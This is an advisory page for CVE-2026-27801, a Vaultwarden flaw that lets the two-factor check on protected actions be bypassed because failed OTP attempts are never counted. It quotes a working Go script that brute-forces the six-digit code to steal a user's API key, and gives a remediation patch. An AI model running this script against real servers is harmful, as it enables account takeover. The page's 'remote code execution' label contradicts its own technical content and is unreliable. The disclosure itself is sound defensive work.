CVE-2026-27801: Vaultwarden Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-v6pg-v89r-w8wr
CWE-307
Published
Advisory Summary

CVE-2026-27801 is a MODERATE remote code execution vulnerability (CWE-307: Improper Restriction of Excessive Authentication Attempts) affecting Vaultwarden libraries in the crates.io ecosystem. The issue involves vaultwarden has 2fa bypass on protected actions due to faulty rate limit enforcement. Remediation is available by upgrading affected packages to version 1.35.0.

CVE-2026-27801 at a Glance

CVE Identifier CVE-2026-27801
GHSA Identifier GHSA-v6pg-v89r-w8wr
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-307: Improper Restriction of Excessive Authentication Attempts
Affected Product Vaultwarden
Package Ecosystem crates.io
Published Date
Last Updated

How to Fix CVE-2026-27801

To remediate this vulnerability, upgrade all affected Vaultwarden dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vaultwarden fixed: 1.35.0
Upgrade vaultwarden to 1.35.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for vaultwarden

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-27801, inspect your project dependencies for Vaultwarden:

inspect dependencies for vaultwarden

Analyze the terminal output to locate any version of Vaultwarden in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.35.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts, where the product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. In Vaultwarden, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Vaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user&rsquo;s account can exploit this bypass to perform protected actions such as accessing the user's API key or deleting the user's vault and organisations the user is an admin/owner of. Note that ### Details Within Vaultwarden, the `PasswordOrOtpData` struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address. By default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function: ```rust pub async fn validate_protected_action_otp( otp: &str, user_id: &UserId, delete_if_valid: bool, conn: &mut DbConn, ) -> EmptyResult { let pa = TwoFactor::find_by_user_and_type(user_id, TwoFactorType::ProtectedActions as i32, conn) .await .map_res("Protected action token not found, try sending the code again or restart the process")?; let mut pa_data = ProtectedActionData::from_json(&pa.data)?; pa_data.add_attempt(); // Delete the token after x attempts if it has been used too many times // We use the 6, which should be more then enough for invalid attempts and multiple valid checks if pa_data.attempts > 6 { pa.delete(conn).await?; err!("Token has expired") } // Check if the token has expired (Using the email 2fa expiration time) let date = DateTime::from_timestamp(pa_data.token_sent, 0).expect("Protected Action token timestamp invalid.").naive_utc(); let max_time = CONFIG.email_expiration_time() as i64; if date + TimeDelta::try_seconds(max_time).unwrap() < Utc::now().naive_utc() { pa.delete(conn).await?; err!("Token has expired") } if !crypto::ct_eq(&pa_data.token, otp) { pa.save(conn).await?; err!("Token is invalid") } if delete_if_valid { pa.delete(conn).await?; } Ok(()) } ``` Since the one-time passcode is only six-digits long, it has significantly less entropy than a typical password or secret key. Hence, Vaultwarden attempts to prevent brute-force attacks against this passcode by enforcing a rate limit of 6 attempts per code. However, the number of attempts made by the user is not persisted correctly. In the `validate_protected_action_top` function, Vaultwarden first reads the OTP data from a JSON blob stored in `pa.data`. The resulting `ProtectedActionData` structure is then a deserialised copy of the underlying JSON value. ```rust let mut pa_data = ProtectedActionData::from_json(&pa.data)?; ``` Next, Vaultwarden calls `pa_data.add_attempt()` in order to increment the number of attempts made by one. This increments the attempt count on the local structure, but does not modify the value of the `pa.data`. ```rust pub fn add_attempt(&mut self) { self.attempts += 1; } ``` Finally, if the OTP validation fails, Vaultwarden attempts to persist the updated attempt count by calling `pa.save(conn)`. However since we only modified a copy of `pa.data`, the value of `pa.data.attempts` remains at zero. The probability of a successful brute force depends on the OTP token length, the OTP expiry duration, and the request throughput. Since each request issued by the attacker does not depend on any previous requests, network latency is not a factor. The bottleneck then, will likely be either the attacker&rsquo;s network bandwidth or Vaultwarden&rsquo;s request processing throughput. From local testing, rates of up to 2500 requests per second were achievable, which successfuly bruteforced the OTP in 3 minutes. If the attacker&rsquo;s request throughput is low, they can also make repeated requests to `/api/accounts/request-otp` to generate new tokens. Their probability of success is then ```math 1 - \left(1 - \frac{R * T}{10^L}\right)^n, ``` where $R$ is the number of requests per second, $T$ is the token expiry time in seconds, $L$ is the number of digits in the OTP code, and $n$ is the number of OTP tokens requested. <a id="orgca0bfe5"></a> ### Proof of Concept The easiest method of demonstrating this vulnerability is by making an (authenticated) request to the `/api/accounts/request-otp` endpoint to generate an OTP, and then repeatedly sending invalid guesses to `/api/accounts/verify-otp`. After six guesses, Vaultwarden will still reply `"Token is invalid"` in response to an incorrect guess, rather than `"Token has expired"` as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made. For a more practical example, the following Go script will brute force the OTP in order to read the user&rsquo;s API key. ```go package main import ( "bytes" "context" "crypto/tls" "encoding/json" "fmt" "io" "log" "net/http" "sync" "sync/atomic" "time" ) const ( host = "https://10.10.0.1:8000" jwtToken = "..." concurrency = 100 totalOtps = 1000000 ) type Brute struct { client *http.Client } func NewBrute() *Brute { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } return &Brute{ client: &http.Client{Transport: tr}, } } func (v *Brute) RequestOTP() error { req, err := http.NewRequest("POST", host+"/api/accounts/request-otp", nil) if err != nil { return fmt.Errorf("failed to create OTP request: %w", err) } req.Header.Set("Authorization", "Bearer "+jwtToken) resp, err := v.client.Do(req) if err != nil { return fmt.Errorf("failed to send OTP request: %w", err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusBadRequest { return fmt.Errorf("unexpected status code for OTP request: %d", resp.StatusCode) } fmt.Println("Requested OTP successfully") return nil } func (v *Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) { payload, _ := json.Marshal(map[string]string{"otp": otp}) body := bytes.NewBuffer(payload) req, err := http.NewRequestWithContext(ctx, "POST", host+"/api/accounts/api-key", body) if err != nil { return false, fmt.Errorf("failed to create verification request: %w", err) } req.Header.Set("Authorization", "Bearer "+jwtToken) req.Header.Set("Content-Type", "application/json") resp, err := v.client.Do(req) if err != nil { return false, err } defer resp.Body.Close() switch resp.StatusCode { case http.StatusOK: body, err := io.ReadAll(resp.Body) if err == nil { fmt.Println("\n-----\n" + string(body) + "\n-----\n") } return true, nil case http.StatusBadRequest: return false, nil default: return false, fmt.Errorf("unexpected status code for verification: %d", resp.StatusCode) } } func progressTracker(ctx context.Context, counter *uint64, start time.Time) { ticker := time.NewTicker(300 * time.Millisecond) defer ticker.Stop() for { select { case <-ctx.Done(): done := atomic.LoadUint64(counter) elapsed := time.Since(start).Seconds() rps := 0.0 if elapsed > 0 { rps = float64(done) / elapsed } fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\n", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed) return case <-ticker.C: done := atomic.LoadUint64(counter) elapsed := time.Since(start).Seconds() rps := 0.0 if elapsed > 0 { rps = float64(done) / elapsed } fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed) } } } func main() { brute := NewBrute() if err := brute.RequestOTP(); err != nil { log.Fatalf("Error: %v", err) } ctx, cancel := context.WithCancel(context.Background()) defer cancel() var wg sync.WaitGroup var counter uint64 startTime := time.Now() go progressTracker(ctx, &counter, startTime) chunkSize := totalOtps / concurrency for i := 0; i < concurrency; i++ { start := i * chunkSize end := start + chunkSize if i == concurrency-1 { end = totalOtps } wg.Add(1) go func(s, e int) { defer wg.Done() for otpNum := s; otpNum < e; otpNum++ { select { case <-ctx.Done(): return default: } otpStr := fmt.Sprintf("%06d", otpNum) success, err := brute.GetAPIKey(ctx, otpStr) atomic.AddUint64(&counter, 1) if err != nil { select { case <-ctx.Done(): default: log.Printf("\nError verifying OTP %s: %v", otpStr, err) cancel() } return } if success { fmt.Printf("\n\nSuccess: Found OTP = %s\n", otpStr) cancel() return } } }(start, end) } wg.Wait() fmt.Println("Brute-force attempt finished.") } ``` <img width="997" height="301" alt="image" src="https://github.com/user-attachments/assets/61486bb6-302b-4edb-87b7-d229bbd33380" /> ### Impact An attacker who gains access to a user&rsquo;s account can exploit this bypass to perform protected actions such as accessing the user&rsquo;s API key or deleting the user&rsquo;s accounts and organisations. ### Remediation The simplest fix is to ensure the updated number of attempts is persisted by calling `pa.data = pa_data.to_json()` before calling `pa.save(conn)`. However this still leaves open the possibility of an attacker requesting an OTP code, exhausting their six attempts and then requesting a new code to try. This attack succeeds with probability ```math 1 - \left(1 - \frac{6}{10^L}\right)^n, ``` which becomes non-neglible as $n$ increases. Therefore the best approach might be to enforce a delay like this, to ensure that all rate limits are ultimately tied back to time: ```diff diff --git a/src/api/core/two_factor/protected_actions.rs b/src/api/core/two_factor/protected_actions.rs index 5e4a65be..aa9cb8f6 100644 --- a/src/api/core/two_factor/protected_actions.rs +++ b/src/api/core/two_factor/protected_actions.rs @@ -66,7 +66,18 @@ async fn request_otp(headers: Headers, mut conn: DbConn) -> EmptyResult { if let Some(pa) = TwoFactor::find_by_user_and_type(&user.uuid, TwoFactorType::ProtectedActions as i32, &mut conn).await { - pa.delete(&mut conn).await?; + let pa_data = ProtectedActionData::from_json(&pa.data)?; + let token_sent = DateTime::from_timestamp(pa_data.token_sent, 0) + .expect("Protected Action token timestamp invalid") + .naive_utc(); + let elapsed = Utc::now().naive_utc() - token_sent; + let delay = TimeDelta::seconds(20); + + if elapsed < delay { + err!(format!("Please wait {} seconds before requesting another code.", (delay - elapsed).num_seconds())); + } else { + pa.delete(&mut conn).await?; + } } let generated_token = crypto::generate_email_token(CONFIG.email_token_size()); @@ -131,6 +142,7 @@ pub async fn validate_protected_action_otp( } if !crypto::ct_eq(&pa_data.token, otp) { + pa.data = pa_data.to_json(); pa.save(conn).await?; err!("Token is invalid") } ```

CVE-2026-27801 Affected Vaultwarden Versions

1 component(s)
Fixed Versions:
1.35.0
Product / Package Ecosystem Affected Versions Fixed Version
vaultwarden
crates.io
< 1.35.0
1.35.0

References

Frequently Asked Questions

What is CVE-2026-27801?
CVE-2026-27801 is a security vulnerability in Vaultwarden involving Vaultwarden has 2FA Bypass on Protected Actions due to Faulty Rate Limit Enforcement under CWE-307: Improper Restriction of Excessive Authentication Attempts.
Which Vaultwarden versions are affected?
Affected versions include releases prior to 1.35.0 across affected packages: vaultwarden.
What version fixes CVE-2026-27801?
Upgrading to 1.35.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vaultwarden affected?
Yes, vaultwarden is affected in releases prior to 1.35.0. Upgrade your dependency to 1.35.0 or later.
What CWE is associated with CVE-2026-27801?
CVE-2026-27801 is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts (The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.).
How can I check crates.io dependencies for CVE-2026-27801?
Run the dependency tree command: 'inspect dependencies for vaultwarden'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v6pg-v89r-w8wr",
  "modified" : "2026-03-05T15:26:22Z",
  "published" : "2026-03-04T20:06:59Z",
  "aliases" : [ "CVE-2026-27801" ],
  "summary" : "Vaultwarden has 2FA Bypass on Protected Actions due to Faulty Rate Limit Enforcement",
  "details" : "### Summary\n\nVaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user&rsquo;s account can exploit this bypass to perform protected actions such as accessing the user's API key or deleting the user's vault and organisations the user is an admin/owner of.\n\nNote that \n\n\n### Details\n\nWithin Vaultwarden, the `PasswordOrOtpData` struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address.\n\nBy default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function:\n\n```rust\npub async fn validate_protected_action_otp(\n    otp: &str,\n    user_id: &UserId,\n    delete_if_valid: bool,\n    conn: &mut DbConn,\n) -> EmptyResult {\n    let pa = TwoFactor::find_by_user_and_type(user_id, TwoFactorType::ProtectedActions as i32, conn)\n        .await\n        .map_res(\"Protected action token not found, try sending the code again or restart the process\")?;\n    let mut pa_data = ProtectedActionData::from_json(&pa.data)?;\n\n    pa_data.add_attempt();\n    // Delete the token after x attempts if it has been used too many times\n    // We use the 6, which should be more then enough for invalid attempts and multiple valid checks\n    if pa_data.attempts > 6 {\n        pa.delete(conn).await?;\n        err!(\"Token has expired\")\n    }\n\n    // Check if the token has expired (Using the email 2fa expiration time)\n    let date =\n        DateTime::from_timestamp(pa_data.token_sent, 0).expect(\"Protected Action token timestamp invalid.\").naive_utc();\n    let max_time = CONFIG.email_expiration_time() as i64;\n    if date + TimeDelta::try_seconds(max_time).unwrap() < Utc::now().naive_utc() {\n        pa.delete(conn).await?;\n        err!(\"Token has expired\")\n    }\n\n    if !crypto::ct_eq(&pa_data.token, otp) {\n        pa.save(conn).await?;\n        err!(\"Token is invalid\")\n    }\n\n    if delete_if_valid {\n        pa.delete(conn).await?;\n    }\n\n    Ok(())\n}\n```\n\nSince the one-time passcode is only six-digits long, it has significantly less entropy than a typical password or secret key. Hence, Vaultwarden attempts to prevent brute-force attacks against this passcode by enforcing a rate limit of 6 attempts per code. However, the number of attempts made by the user is not persisted correctly.\n\nIn the `validate_protected_action_top` function, Vaultwarden first reads the OTP data from a JSON blob stored in `pa.data`. The resulting `ProtectedActionData` structure is then a deserialised copy of the underlying JSON value.\n\n```rust\nlet mut pa_data = ProtectedActionData::from_json(&pa.data)?;\n```\n\nNext, Vaultwarden calls `pa_data.add_attempt()` in order to increment the number of attempts made by one. This increments the attempt count on the local structure, but does not modify the value of the `pa.data`.\n\n```rust\npub fn add_attempt(&mut self) {\n    self.attempts += 1;\n}\n```\n\nFinally, if the OTP validation fails, Vaultwarden attempts to persist the updated attempt count by calling `pa.save(conn)`. However since we only modified a copy of `pa.data`, the value of `pa.data.attempts` remains at zero.\n\nThe probability of a successful brute force depends on the OTP token length, the OTP expiry duration, and the request throughput. Since each request issued by the attacker does not depend on any previous requests, network latency is not a factor. The bottleneck then, will likely be either the attacker&rsquo;s network bandwidth or Vaultwarden&rsquo;s request processing throughput. From local testing, rates of up to 2500 requests per second were achievable, which successfuly bruteforced the OTP in 3 minutes.\n\nIf the attacker&rsquo;s request throughput is low, they can also make repeated requests to `/api/accounts/request-otp` to generate new tokens. Their probability of success is then\n\n```math\n1 - \\left(1 - \\frac{R * T}{10^L}\\right)^n,\n```\n\nwhere $R$ is the number of requests per second, $T$ is the token expiry time in seconds, $L$ is the number of digits in the OTP code, and $n$ is the number of OTP tokens requested.\n\n\n<a id=\"orgca0bfe5\"></a>\n\n### Proof of Concept\n\nThe easiest method of demonstrating this vulnerability is by making an (authenticated) request to the `/api/accounts/request-otp` endpoint to generate an OTP, and then repeatedly sending invalid guesses to `/api/accounts/verify-otp`. After six guesses, Vaultwarden will still reply `\"Token is invalid\"` in response to an incorrect guess, rather than `\"Token has expired\"` as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made.\n\nFor a more practical example, the following Go script will brute force the OTP in order to read the user&rsquo;s API key.\n\n```go\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n)\n\nconst (\n\thost        = \"https://10.10.0.1:8000\"\n\tjwtToken    = \"...\"\n\tconcurrency = 100\n\ttotalOtps   = 1000000\n)\n\ntype Brute struct {\n\tclient *http.Client\n}\n\nfunc NewBrute() *Brute {\n\ttr := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t}\n\treturn &Brute{\n\t\tclient: &http.Client{Transport: tr},\n\t}\n}\n\nfunc (v *Brute) RequestOTP() error {\n\treq, err := http.NewRequest(\"POST\", host+\"/api/accounts/request-otp\", nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create OTP request: %w\", err)\n\t}\n\treq.Header.Set(\"Authorization\", \"Bearer \"+jwtToken)\n\n\tresp, err := v.client.Do(req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to send OTP request: %w\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusBadRequest {\n\t\treturn fmt.Errorf(\"unexpected status code for OTP request: %d\", resp.StatusCode)\n\t}\n\n\tfmt.Println(\"Requested OTP successfully\")\n\treturn nil\n}\n\nfunc (v *Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) {\n\tpayload, _ := json.Marshal(map[string]string{\"otp\": otp})\n\tbody := bytes.NewBuffer(payload)\n\n\treq, err := http.NewRequestWithContext(ctx, \"POST\", host+\"/api/accounts/api-key\", body)\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"failed to create verification request: %w\", err)\n\t}\n\treq.Header.Set(\"Authorization\", \"Bearer \"+jwtToken)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tresp, err := v.client.Do(req)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer resp.Body.Close()\n\n\tswitch resp.StatusCode {\n\tcase http.StatusOK:\n\t\tbody, err := io.ReadAll(resp.Body)\n\t\tif err == nil {\n\t\t\tfmt.Println(\"\\n-----\\n\" + string(body) + \"\\n-----\\n\")\n\t\t}\n\t\treturn true, nil\n\tcase http.StatusBadRequest:\n\t\treturn false, nil\n\tdefault:\n\t\treturn false, fmt.Errorf(\"unexpected status code for verification: %d\", resp.StatusCode)\n\t}\n}\n\nfunc progressTracker(ctx context.Context, counter *uint64, start time.Time) {\n\tticker := time.NewTicker(300 * time.Millisecond)\n\tdefer ticker.Stop()\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\tdone := atomic.LoadUint64(counter)\n\t\t\telapsed := time.Since(start).Seconds()\n\t\t\trps := 0.0\n\t\t\tif elapsed > 0 {\n\t\t\t\trps = float64(done) / elapsed\n\t\t\t}\n\t\t\tfmt.Printf(\"\\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\\n\", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)\n\t\t\treturn\n\t\tcase <-ticker.C:\n\t\t\tdone := atomic.LoadUint64(counter)\n\t\t\telapsed := time.Since(start).Seconds()\n\t\t\trps := 0.0\n\t\t\tif elapsed > 0 {\n\t\t\t\trps = float64(done) / elapsed\n\t\t\t}\n\t\t\tfmt.Printf(\"\\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)\n\t\t}\n\t}\n}\n\nfunc main() {\n\tbrute := NewBrute()\n\tif err := brute.RequestOTP(); err != nil {\n\t\tlog.Fatalf(\"Error: %v\", err)\n\t}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tvar wg sync.WaitGroup\n\tvar counter uint64\n\tstartTime := time.Now()\n\n\tgo progressTracker(ctx, &counter, startTime)\n\n\tchunkSize := totalOtps / concurrency\n\tfor i := 0; i < concurrency; i++ {\n\t\tstart := i * chunkSize\n\t\tend := start + chunkSize\n\t\tif i == concurrency-1 {\n\t\t\tend = totalOtps\n\t\t}\n\n\t\twg.Add(1)\n\t\tgo func(s, e int) {\n\t\t\tdefer wg.Done()\n\t\t\tfor otpNum := s; otpNum < e; otpNum++ {\n\t\t\t\tselect {\n\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t}\n\n\t\t\t\totpStr := fmt.Sprintf(\"%06d\", otpNum)\n\t\t\t\tsuccess, err := brute.GetAPIKey(ctx, otpStr)\n\n\t\t\t\tatomic.AddUint64(&counter, 1)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tselect {\n\t\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tlog.Printf(\"\\nError verifying OTP %s: %v\", otpStr, err)\n\t\t\t\t\t\tcancel()\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tif success {\n\t\t\t\t\tfmt.Printf(\"\\n\\nSuccess: Found OTP = %s\\n\", otpStr)\n\t\t\t\t\tcancel()\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}(start, end)\n\t}\n\n\twg.Wait()\n\tfmt.Println(\"Brute-force attempt finished.\")\n}\n```\n<img width=\"997\" height=\"301\" alt=\"image\" src=\"https://github.com/user-attachments/assets/61486bb6-302b-4edb-87b7-d229bbd33380\" />\n\n### Impact\n\nAn attacker who gains access to a user&rsquo;s account can exploit this bypass to perform protected actions such as accessing the user&rsquo;s API key or deleting the user&rsquo;s accounts and organisations.\n\n### Remediation\n\nThe simplest fix is to ensure the updated number of attempts is persisted by calling `pa.data = pa_data.to_json()` before calling `pa.save(conn)`. However this still leaves open the possibility of an attacker requesting an OTP code, exhausting their six attempts and then requesting a new code to try. This attack succeeds with probability\n\n```math\n1 - \\left(1 - \\frac{6}{10^L}\\right)^n,\n```\n\nwhich becomes non-neglible as $n$ increases.\n\nTherefore the best approach might be to enforce a delay like this, to ensure that all rate limits are ultimately tied back to time:\n\n```diff\ndiff --git a/src/api/core/two_factor/protected_actions.rs b/src/api/core/two_factor/protected_actions.rs\nindex 5e4a65be..aa9cb8f6 100644\n--- a/src/api/core/two_factor/protected_actions.rs\n+++ b/src/api/core/two_factor/protected_actions.rs\n@@ -66,7 +66,18 @@ async fn request_otp(headers: Headers, mut conn: DbConn) -> EmptyResult {\n     if let Some(pa) =\n         TwoFactor::find_by_user_and_type(&user.uuid, TwoFactorType::ProtectedActions as i32, &mut conn).await\n     {\n-        pa.delete(&mut conn).await?;\n+        let pa_data = ProtectedActionData::from_json(&pa.data)?;\n+        let token_sent = DateTime::from_timestamp(pa_data.token_sent, 0)\n+            .expect(\"Protected Action token timestamp invalid\")\n+            .naive_utc();\n+        let elapsed = Utc::now().naive_utc() - token_sent;\n+        let delay = TimeDelta::seconds(20);\n+\n+        if elapsed < delay {\n+            err!(format!(\"Please wait {} seconds before requesting another code.\", (delay - elapsed).num_seconds()));\n+        } else {\n+            pa.delete(&mut conn).await?;\n+        }\n     }\n\n     let generated_token = crypto::generate_email_token(CONFIG.email_token_size());\n@@ -131,6 +142,7 @@ pub async fn validate_protected_action_otp(\n     }\n\n     if !crypto::ct_eq(&pa_data.token, otp) {\n+        pa.data = pa_data.to_json();\n         pa.save(conn).await?;\n         err!(\"Token is invalid\")\n     }\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "vaultwarden"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.35.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.34.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-v6pg-v89r-w8wr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27801"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dani-garcia/vaultwarden"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-307" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-04T20:06:59Z",
    "nvd_published_at" : "2026-03-04T22:16:17Z"
  }
}